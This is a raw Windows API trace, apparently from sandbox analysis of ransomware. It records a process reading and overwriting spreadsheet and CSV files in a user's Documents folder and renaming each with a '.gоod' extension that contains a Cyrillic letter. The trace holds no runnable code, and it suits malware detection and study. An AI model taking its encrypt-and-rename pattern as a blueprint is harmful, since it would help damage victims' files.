1 [0251.509] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx", lpFilePart=0x0) returned 0x41 [0251.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0251.509] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\u6yb4hc4w04avfbrd.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0251.510] GetFileType (hFile=0x808) returned 0x1 [0251.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0251.510] GetFileType (hFile=0x808) returned 0x1 [0251.510] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1000 [0251.510] ReadFile (in: hFile=0x808, lpBuffer=0x38c2cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed278, lpOverlapped=0x0 | out: lpBuffer=0x38c2cf8*, lpNumberOfBytesRead=0x1f9ed278*=0x1000, lpOverlapped=0x0) returned 1 [0251.510] CloseHandle (hObject=0x808) returned 1 [0251.510] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx", lpFilePart=0x0) returned 0x41 [0251.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0251.510] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\u6yb4hc4w04avfbrd.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0251.510] GetFileType (hFile=0x808) returned 0x1 [0251.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0251.511] GetFileType (hFile=0x808) returned 0x1 [0251.511] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x8350 [0251.511] WriteFile (in: hFile=0x808, lpBuffer=0x38c3f98*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ed198, lpOverlapped=0x0 | out: lpBuffer=0x38c3f98*, lpNumberOfBytesWritten=0x1f9ed198*=0x10, lpOverlapped=0x0) returned 1 [0251.511] CloseHandle (hObject=0x808) returned 1 [0251.516] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx", lpFilePart=0x0) returned 0x41 [0251.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0251.516] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\u6yb4hc4w04avfbrd.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0251.516] GetFileType (hFile=0x808) returned 0x1 [0251.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0251.516] GetFileType (hFile=0x808) returned 0x1 [0251.516] ReadFile (in: hFile=0x808, lpBuffer=0x38c6260, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed228, lpOverlapped=0x0 | out: lpBuffer=0x38c6260*, lpNumberOfBytesRead=0x1f9ed228*=0x1000, lpOverlapped=0x0) returned 1 [0253.131] CloseHandle (hObject=0x808) returned 1 [0253.131] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx", lpFilePart=0x0) returned 0x41 [0253.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0253.131] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\u6yb4hc4w04avfbrd.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0253.131] GetFileType (hFile=0x808) returned 0x1 [0253.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0253.131] GetFileType (hFile=0x808) returned 0x1 [0253.131] WriteFile (in: hFile=0x808, lpBuffer=0x38a3fd8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ed2d8, lpOverlapped=0x0 | out: lpBuffer=0x38a3fd8*, lpNumberOfBytesWritten=0x1f9ed2d8*=0x1010, lpOverlapped=0x0) returned 1 [0253.132] CloseHandle (hObject=0x808) returned 1 [0253.132] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx", lpFilePart=0x0) returned 0x41 [0253.132] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx.gоod", lpFilePart=0x0) returned 0x46 [0253.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0253.132] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\u6yb4hc4w04avfbrd.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd37bfe70, ftCreationTime.dwHighDateTime=0x1d4c67c, ftLastAccessTime.dwLowDateTime=0x77a1c730, ftLastAccessTime.dwHighDateTime=0x1d4cd91, ftLastWriteTime.dwLowDateTime=0x931652a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8360)) returned 1 [0253.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0253.132] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\u6yb4hc4w04avfbrd.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\u6yb4hc4w04avfbrd.xlsx.gоod")) returned 1 [0254.828] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv", lpFilePart=0x0) returned 0x42 [0254.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0254.828] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\uiuy2mdwtmru9k07nnv.csv"), fInfoLevelId=0x0, lpFileInformation=0x3cb7668 | out: lpFileInformation=0x3cb7668*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x996bbf70, ftCreationTime.dwHighDateTime=0x1d4d5fb, ftLastAccessTime.dwLowDateTime=0x235d3630, ftLastAccessTime.dwHighDateTime=0x1d4d351, ftLastWriteTime.dwLowDateTime=0x235d3630, ftLastWriteTime.dwHighDateTime=0x1d4d351, nFileSizeHigh=0x0, nFileSizeLow=0x1088)) returned 1 [0254.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0254.866] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv", lpFilePart=0x0) returned 0x42 [0254.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0254.866] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\uiuy2mdwtmru9k07nnv.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0254.867] GetFileType (hFile=0x85c) returned 0x1 [0254.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0254.867] GetFileType (hFile=0x85c) returned 0x1 [0254.867] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1000 [0254.867] ReadFile (in: hFile=0x85c, lpBuffer=0x3d31668, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed278, lpOverlapped=0x0 | out: lpBuffer=0x3d31668*, lpNumberOfBytesRead=0x1f9ed278*=0x88, lpOverlapped=0x0) returned 1 [0254.867] CloseHandle (hObject=0x85c) returned 1 [0254.867] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv", lpFilePart=0x0) returned 0x42 [0254.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0254.867] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\uiuy2mdwtmru9k07nnv.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0254.867] GetFileType (hFile=0x85c) returned 0x1 [0254.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0254.867] GetFileType (hFile=0x85c) returned 0x1 [0254.867] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1088 [0254.868] WriteFile (in: hFile=0x85c, lpBuffer=0x3d32908*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ed198, lpOverlapped=0x0 | out: lpBuffer=0x3d32908*, lpNumberOfBytesWritten=0x1f9ed198*=0x10, lpOverlapped=0x0) returned 1 [0255.606] CloseHandle (hObject=0x85c) returned 1 [0255.606] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv", lpFilePart=0x0) returned 0x42 [0255.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0255.606] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\uiuy2mdwtmru9k07nnv.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0255.606] GetFileType (hFile=0x85c) returned 0x1 [0255.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0255.606] GetFileType (hFile=0x85c) returned 0x1 [0255.606] ReadFile (in: hFile=0x85c, lpBuffer=0x3c1ec90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed228, lpOverlapped=0x0 | out: lpBuffer=0x3c1ec90*, lpNumberOfBytesRead=0x1f9ed228*=0x1000, lpOverlapped=0x0) returned 1 [0255.663] CloseHandle (hObject=0x85c) returned 1 [0255.663] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv", lpFilePart=0x0) returned 0x42 [0255.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0255.663] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\uiuy2mdwtmru9k07nnv.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0255.663] GetFileType (hFile=0x85c) returned 0x1 [0255.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0255.663] GetFileType (hFile=0x85c) returned 0x1 [0255.663] WriteFile (in: hFile=0x85c, lpBuffer=0x3c1d9e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ed2d8, lpOverlapped=0x0 | out: lpBuffer=0x3c1d9e0*, lpNumberOfBytesWritten=0x1f9ed2d8*=0x1010, lpOverlapped=0x0) returned 1 [0255.664] CloseHandle (hObject=0x85c) returned 1 [0255.664] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv", lpFilePart=0x0) returned 0x42 [0255.664] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv.gоod", lpFilePart=0x0) returned 0x47 [0255.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0255.664] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\uiuy2mdwtmru9k07nnv.csv"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x996bbf70, ftCreationTime.dwHighDateTime=0x1d4d5fb, ftLastAccessTime.dwLowDateTime=0x235d3630, ftLastAccessTime.dwHighDateTime=0x1d4d351, ftLastWriteTime.dwLowDateTime=0x94989edb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1098)) returned 1 [0255.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0255.664] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\uiuy2mdwtmru9k07nnv.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\UiUY2mDwtmRU9k07NNV.csv.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\uiuy2mdwtmru9k07nnv.csv.gоod")) returned 1 [0255.665] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls", lpFilePart=0x0) returned 0x43 [0255.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0255.666] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\z90mxtltkuclzizackon.xls"), fInfoLevelId=0x0, lpFileInformation=0x3b0e1c0 | out: lpFileInformation=0x3b0e1c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf48b7710, ftCreationTime.dwHighDateTime=0x1d4cb06, ftLastAccessTime.dwLowDateTime=0x1fe9c150, ftLastAccessTime.dwHighDateTime=0x1d4c6cf, ftLastWriteTime.dwLowDateTime=0x1fe9c150, ftLastWriteTime.dwHighDateTime=0x1d4c6cf, nFileSizeHigh=0x0, nFileSizeLow=0xcdd2)) returned 1 [0255.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0255.666] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls", lpFilePart=0x0) returned 0x43 [0255.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0255.666] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\z90mxtltkuclzizackon.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0255.667] GetFileType (hFile=0x85c) returned 0x1 [0255.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0255.667] GetFileType (hFile=0x85c) returned 0x1 [0255.667] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1000 [0255.667] ReadFile (in: hFile=0x85c, lpBuffer=0x3b0e5f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed278, lpOverlapped=0x0 | out: lpBuffer=0x3b0e5f8*, lpNumberOfBytesRead=0x1f9ed278*=0x1000, lpOverlapped=0x0) returned 1 [0255.667] CloseHandle (hObject=0x85c) returned 1 [0255.667] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls", lpFilePart=0x0) returned 0x43 [0255.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0255.667] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\z90mxtltkuclzizackon.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0255.667] GetFileType (hFile=0x85c) returned 0x1 [0255.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0255.667] GetFileType (hFile=0x85c) returned 0x1 [0255.667] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0xcdd2 [0255.668] WriteFile (in: hFile=0x85c, lpBuffer=0x3b0f8a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ed198, lpOverlapped=0x0 | out: lpBuffer=0x3b0f8a0*, lpNumberOfBytesWritten=0x1f9ed198*=0x10, lpOverlapped=0x0) returned 1 [0255.668] CloseHandle (hObject=0x85c) returned 1 [0255.668] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls", lpFilePart=0x0) returned 0x43 [0255.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0255.668] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\z90mxtltkuclzizackon.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0255.668] GetFileType (hFile=0x85c) returned 0x1 [0255.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0255.668] GetFileType (hFile=0x85c) returned 0x1 [0255.668] ReadFile (in: hFile=0x85c, lpBuffer=0x3b11b70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed228, lpOverlapped=0x0 | out: lpBuffer=0x3b11b70*, lpNumberOfBytesRead=0x1f9ed228*=0x1000, lpOverlapped=0x0) returned 1 [0256.096] CloseHandle (hObject=0x85c) returned 1 [0256.096] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls", lpFilePart=0x0) returned 0x43 [0256.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0256.096] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\z90mxtltkuclzizackon.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0256.097] GetFileType (hFile=0x85c) returned 0x1 [0256.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0256.097] GetFileType (hFile=0x85c) returned 0x1 [0256.097] WriteFile (in: hFile=0x85c, lpBuffer=0x3ac8c68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ed2d8, lpOverlapped=0x0 | out: lpBuffer=0x3ac8c68*, lpNumberOfBytesWritten=0x1f9ed2d8*=0x1010, lpOverlapped=0x0) returned 1 [0256.097] CloseHandle (hObject=0x85c) returned 1 [0256.097] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls", lpFilePart=0x0) returned 0x43 [0256.097] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls.gоod", lpFilePart=0x0) returned 0x48 [0256.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0256.097] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\z90mXtlTKUClzizAcKon.xls" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\z90mxtltkuclzizackon.xls"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf48b7710, ftCreationTime.dwHighDateTime=0x1d4cb06, ftLastAccessTime.dwLowDateTime=0x1fe9c150, ftLastAccessTime.dwHighDateTime=0x1d4c6cf, ftLastWriteTime.dwLowDateTime=0x94db62a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcde2)) returned 1 [0256.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 